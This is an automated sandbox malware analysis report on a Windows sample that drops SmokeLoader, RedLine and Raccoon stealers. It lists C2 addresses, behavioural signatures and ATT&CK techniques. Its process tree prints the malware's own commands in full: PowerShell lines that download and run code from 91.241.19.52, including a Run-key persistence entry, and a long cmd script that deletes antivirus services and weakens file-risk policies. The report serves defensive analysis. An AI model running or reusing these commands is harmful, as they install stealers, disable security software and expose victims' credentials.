Analysis

  • max time kernel
    150s
  • max time network
    190s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    12-08-2021 00:11

General

  • Target

    2c30e7340666a2b59ee88f5250ab50e5.exe

  • Size

    319KB

  • MD5

    2c30e7340666a2b59ee88f5250ab50e5

  • SHA1

    2a9c301e0c7696130d997e7e1e063388155377e6

  • SHA256

    e43b2359f27dde4a5f8de4483f9db4016bdf1d2dd0a93ebdbc6c599b3bcbf889

  • SHA512

    585aef33960f7942729461e78c6d80e4867e9c724667a9ad884034fb4694e21730b5e304f8c9ab8ad38c6baa00a49201a2b8f4988481d52cb2929d9def55450e

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://91.241.19.52/Api/GetFile2

Extracted

Family

smokeloader

Version

2020

C2

http://readinglistforjuly1.xyz/

http://readinglistforjuly2.xyz/

http://readinglistforjuly3.xyz/

http://readinglistforjuly4.xyz/

http://readinglistforjuly5.xyz/

http://readinglistforjuly6.xyz/

http://readinglistforjuly7.xyz/

http://readinglistforjuly8.xyz/

http://readinglistforjuly9.xyz/

http://readinglistforjuly10.xyz/

http://readinglistforjuly1.site/

http://readinglistforjuly2.site/

http://readinglistforjuly3.site/

http://readinglistforjuly4.site/

http://readinglistforjuly5.site/

http://readinglistforjuly6.site/

http://readinglistforjuly7.site/

http://readinglistforjuly8.site/

http://readinglistforjuly9.site/

http://readinglistforjuly10.site/

rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

@gasfer_dark

C2

207.154.240.76:80

Extracted

Family

raccoon

Botnet

2ca2376c561d1af7f8b9e6f3256b06220a3db187

Attributes
  • url4cnc

    https://telete.in/johnyes13

rc4.plain
rc4.plain

Extracted

Family

raccoon

Botnet

cd8dc1031358b1aec55cc6bc447df1018b068607

Attributes
  • url4cnc

    https://telete.in/jagressor_kz

rc4.plain
rc4.plain

Extracted

Family

raccoon

Botnet

471c70de3b4f9e4d493e418d1f60a90659057de0

Attributes
  • url4cnc

    https://telete.in/p1rosto100xx

rc4.plain
rc4.plain

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Raccoon Stealer Payload 6 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 3 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 17 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Drops startup file 1 IoCs
  • Loads dropped DLL 31 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 15 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 12 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2c30e7340666a2b59ee88f5250ab50e5.exe
    "C:\Users\Admin\AppData\Local\Temp\2c30e7340666a2b59ee88f5250ab50e5.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1728
    • C:\Users\Admin\AppData\Local\Temp\2c30e7340666a2b59ee88f5250ab50e5.exe
      "C:\Users\Admin\AppData\Local\Temp\2c30e7340666a2b59ee88f5250ab50e5.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1752
  • C:\Users\Admin\AppData\Local\Temp\45F6.exe
    C:\Users\Admin\AppData\Local\Temp\45F6.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    PID:1048
  • C:\Windows\system32\taskeng.exe
    taskeng.exe {4A1B7FFB-7D0D-40FB-9F62-AF62324558FF} S-1-5-21-2513283230-931923277-594887482-1000:MRBKYMNO\Admin:Interactive:[1]
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:512
    • C:\Users\Admin\AppData\Roaming\cgtsftu
      C:\Users\Admin\AppData\Roaming\cgtsftu
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:1828
      • C:\Users\Admin\AppData\Roaming\cgtsftu
        C:\Users\Admin\AppData\Roaming\cgtsftu
        3⤵
        • Executes dropped EXE
        • Checks SCSI registry key(s)
        • Suspicious behavior: MapViewOfSection
        PID:1300
  • C:\Users\Admin\AppData\Local\Temp\4B25.exe
    C:\Users\Admin\AppData\Local\Temp\4B25.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1784
    • C:\Users\Admin\AppData\Local\Temp\is-KR4AL.tmp\4B25.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-KR4AL.tmp\4B25.tmp" /SL5="$6001C,4193427,831488,C:\Users\Admin\AppData\Local\Temp\4B25.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:364
      • C:\Users\Admin\AppData\Local\Temp\4B25.exe
        "C:\Users\Admin\AppData\Local\Temp\4B25.exe" /VERYSILENT
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:540
        • C:\Users\Admin\AppData\Local\Temp\is-FF57T.tmp\4B25.tmp
          "C:\Users\Admin\AppData\Local\Temp\is-FF57T.tmp\4B25.tmp" /SL5="$7001C,4193427,831488,C:\Users\Admin\AppData\Local\Temp\4B25.exe" /VERYSILENT
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of WriteProcessMemory
          PID:2040
          • C:\Users\Admin\AppData\Roaming\BI Video Controller for x86 systems\fsucenter.exe
            "C:\Users\Admin\AppData\Roaming\BI Video Controller for x86 systems\fsucenter.exe"
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            PID:1764
  • C:\Users\Admin\AppData\Local\Temp\540B.exe
    C:\Users\Admin\AppData\Local\Temp\540B.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:1832
  • C:\Users\Admin\AppData\Local\Temp\5B1E.exe
    C:\Users\Admin\AppData\Local\Temp\5B1E.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    PID:1092
    • C:\ProgramData\Runtimebroker.exe
      "C:\ProgramData\Runtimebroker.exe"
      2⤵
      • Executes dropped EXE
      • Drops startup file
      • Loads dropped DLL
      PID:1132
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Sound device' -Value 'Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile((''http://91.241.19.52/Ru''+''nti''+''m''+''ebr''+''oke''+''r.exe''),($env:TEMP+''\Vp''+''nm.e''+''xe''));Start-Process ($env:TEMP+''\V''+''pn''+''m.exe'')'
        3⤵
        • Adds Run key to start application
        • Suspicious use of AdjustPrivilegeToken
        PID:1176
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell $dll =[Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData('http://91.241.19.52/Api/GetFile2'));$theType = $dll.GetType('filedll.Program');$method = $theType.GetMethod('Start');$method.Invoke([System.Activator]::CreateInstance($theType),@());rv dll,theType,method
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of AdjustPrivilegeToken
        PID:2504
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "powershell" Get-MpPreference -verbose
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:2692
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" @echo off Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE2.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\KSDE1.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP18.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP17.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP16.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP15.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP14.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP13.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP12.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP11.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVP10.0.0" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MBAMService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAWFwk" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\MSK80Service" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAPExe" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McBootDelayStartSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mccspsvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfefire" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\HomeNetSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ModuleCoreService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McMPFSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mcpltsvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McProxy" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McODS" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfemms" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McAfee SiteAdvisor Service" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\mfevtp" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\McNaiAnn" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\nanosvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\NortonSecurity" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\!SASCORE" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\SBAMSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ZillyaAVAuxSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ZillyaAVCoreSvc" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\QHActiveDefense" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Antivirus" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\avast! Firewall" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AVG Antivirus" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirMailService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\Avira.ServiceHost" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirWebService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\AntiVirSchedulerService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsservppl" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ProductAgentService" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\vsserv" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\updatesrv" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdAgent" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\cmdvirth" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\DragonUpdater" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\ekrn" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\0247141531883172mcinstcleanup" /f Reg Delete "HKLM\SYSTEM\CurrentControlSet\services\PEFService" /f set "osX=%PROCESSOR_ARCHITECTURE%" if defined PROCESSOR_ARCHITEW6432 set "osX=AMD64" if "%osX%"=="x86" ( Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "UninstallString" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg.exe -bootremove -uninst:RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg64.exe" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlls.dll" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlservice.exe" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy" /v "" /t REG_SZ /d "" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge\rlvknlg.exe -boot" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "http://www.relevantknowledge.com/confirmuninstall.aspx?siteid=2600&campaign_id=794" /f Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles%\RelevantKnowledge" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f ) else ( Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "DefaultFileTypeRisk" /t REG_DWORD /d "24914" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Associations" /v "LowRiskFileTypes" /t REG_SZ /d ".zip;.rar;.nfo;.txt;.exe;.bat;.com;.cmd;.reg;.msi;.htm;.html;.gif;.bmp;.jpg;.avi;.mpg;.mpeg;.mov;.mp3;.m3u;.wav;" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "HideZoneInfoOnProperties" /t REG_DWORD /d "1" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Attachments" /v "SaveZoneInformation" /t REG_DWORD /d "2" /f /reg:64 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "DisplayName" /t REG_SZ /d "RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}" /v "UninstallString" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg.exe -bootremove -uninst:RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK_Path" /t REG_SZ /d "%windir%\system32\rlls.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "HK64_Path" /t REG_SZ /d "%windir%\system32\rlls64.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "LD64_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg64.exe" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "KS_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlls.dll" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config" /v "SV_Path" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlservice.exe" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy" /v "" /t REG_SZ /d "" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RunLine" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge\rlvknlg.exe -boot" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "ServiceName" /t REG_SZ /d "RelevantKnowledge" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "UninstURL" /t REG_SZ /d "http://www.relevantknowledge.com/confirmuninstall.aspx?siteid=2600&campaign_id=794" /f /reg:32 Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{d08d9f98-1c78-4704-87e6-368b0023d831}\Config\OSSProxy\Settings" /v "RevertPath" /t REG_SZ /d "%ProgramFiles(x86)%\RelevantKnowledge" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:32 Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:32 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AvastUI.exe" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "QHSafeTray" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Zillya Antivirus" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBAMTray" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SBRegRebootCleaner" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "egui" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "IseUI" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "COMODO Internet Security" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ClamWin" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Avira SystrayStartTrigger" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "AVGUI.exe" /f /reg:64 Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:64 Reg Delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SUPERAntiSpyware" /f /reg:64 )
          4⤵
            PID:2864
    • C:\Users\Admin\AppData\Local\Temp\6240.exe
      C:\Users\Admin\AppData\Local\Temp\6240.exe
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of SetThreadContext
      • Suspicious use of AdjustPrivilegeToken
      PID:1940
      • C:\Users\Admin\AppData\Local\Temp\6240.exe
        C:\Users\Admin\AppData\Local\Temp\6240.exe
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:2896
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\6240.exe"
          3⤵
            PID:3000
            • C:\Windows\SysWOW64\timeout.exe
              timeout /T 10 /NOBREAK
              4⤵
              • Delays execution with timeout.exe
              PID:3028
      • C:\Users\Admin\AppData\Local\Temp\6B56.exe
        C:\Users\Admin\AppData\Local\Temp\6B56.exe
        1⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Modifies system certificate store
        PID:736
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\6B56.exe"
          2⤵
            PID:2452
            • C:\Windows\SysWOW64\timeout.exe
              timeout /T 10 /NOBREAK
              3⤵
              • Delays execution with timeout.exe
              PID:2484
        • C:\Users\Admin\AppData\Local\Temp\6C6F.exe
          C:\Users\Admin\AppData\Local\Temp\6C6F.exe
          1⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:816
        • C:\Users\Admin\AppData\Local\Temp\6E25.exe
          C:\Users\Admin\AppData\Local\Temp\6E25.exe
          1⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:1536
        • C:\Users\Admin\AppData\Local\Temp\7171.exe
          C:\Users\Admin\AppData\Local\Temp\7171.exe
          1⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:360
        • C:\Windows\SysWOW64\explorer.exe
          C:\Windows\SysWOW64\explorer.exe
          1⤵
            PID:1720
          • C:\Windows\explorer.exe
            C:\Windows\explorer.exe
            1⤵
              PID:1684
            • C:\Windows\SysWOW64\explorer.exe
              C:\Windows\SysWOW64\explorer.exe
              1⤵
                PID:1556
              • C:\Windows\explorer.exe
                C:\Windows\explorer.exe
                1⤵
                  PID:2164
                • C:\Windows\SysWOW64\explorer.exe
                  C:\Windows\SysWOW64\explorer.exe
                  1⤵
                    PID:2196
                  • C:\Windows\explorer.exe
                    C:\Windows\explorer.exe
                    1⤵
                      PID:2256
                    • C:\Windows\SysWOW64\explorer.exe
                      C:\Windows\SysWOW64\explorer.exe
                      1⤵
                        PID:2388
                      • C:\Windows\explorer.exe
                        C:\Windows\explorer.exe
                        1⤵
                          PID:2532
                        • C:\Windows\SysWOW64\explorer.exe
                          C:\Windows\SysWOW64\explorer.exe
                          1⤵
                            PID:2616

                          Network

                          MITRE ATT&CK Matrix ATT&CK v6

                          Persistence

                          Modify Existing Service

                          1
                          T1031

                          Registry Run Keys / Startup Folder

                          1
                          T1060

                          Defense Evasion

                          Modify Registry

                          3
                          T1112

                          Disabling Security Tools

                          1
                          T1089

                          Virtualization/Sandbox Evasion

                          1
                          T1497

                          Install Root Certificate

                          1
                          T1130

                          Credential Access

                          Credentials in Files

                          3
                          T1081

                          Discovery

                          Query Registry

                          4
                          T1012

                          Virtualization/Sandbox Evasion

                          1
                          T1497

                          System Information Discovery

                          4
                          T1082

                          Peripheral Device Discovery

                          1
                          T1120

                          Collection

                          Data from Local System

                          3
                          T1005

                          Replay Monitor

